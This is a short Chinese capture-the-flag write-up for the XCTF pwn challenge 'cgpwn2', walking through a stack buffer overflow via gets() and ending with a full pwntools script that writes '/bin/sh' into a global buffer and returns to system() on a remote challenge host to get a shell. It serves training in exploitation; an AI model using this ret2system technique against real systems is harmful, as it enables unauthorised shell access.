day-10 xctf-cgpwn2
xctf-cgpwn2
题目传送门:https://adworld.xctf.org.cn/task/answer?type=pwn&number=2&grade=0&id=5059&page=1
拿到题目,checksec,发现No canary found ,唔。。。。
运行一下,大概功能是:输入名字,输入message,输出thank you
将其拉入ida查看,查看字符串,只发现了system,看来我们需要构造system('/bin/sh')
查看主函数,调用了函数hello()
查看一下hello()函数
发现gets危险函数,着重注意。查看一下fgets中的name,地址为:0x804A080,这是一个固定的地址,或许可以修改这个位置的值为'/bin/sh
或许可以通过栈溢出的方式,返回system地址,然后调用这个修改过的name的参数地址,执行system('/bin/sh')
寻找system调用的地址,为0x8048420
点击&s查看到s占用的栈空间为38
那么可以构造exp了:
from pwn import * context.log_level = 'debug' #cnn = ('./cgpwn2') cnn = remote('111.198.29.45',37310) #elf = ELF('./cgpwn2') system_addr = 0x8048420 binsh_addr = 0x804A080 payload = 38*'a' + 4*'a' + p32(system_addr) + 'aaaa' + p32(binsh_addr) cnn.sendlineafter('name\n','/bin/sh') cnn.sendlineafter('here:\n',payload) cnn.interactive()exp
通过返回的shell,然后cat flag就能得到flag了
总结:无中生有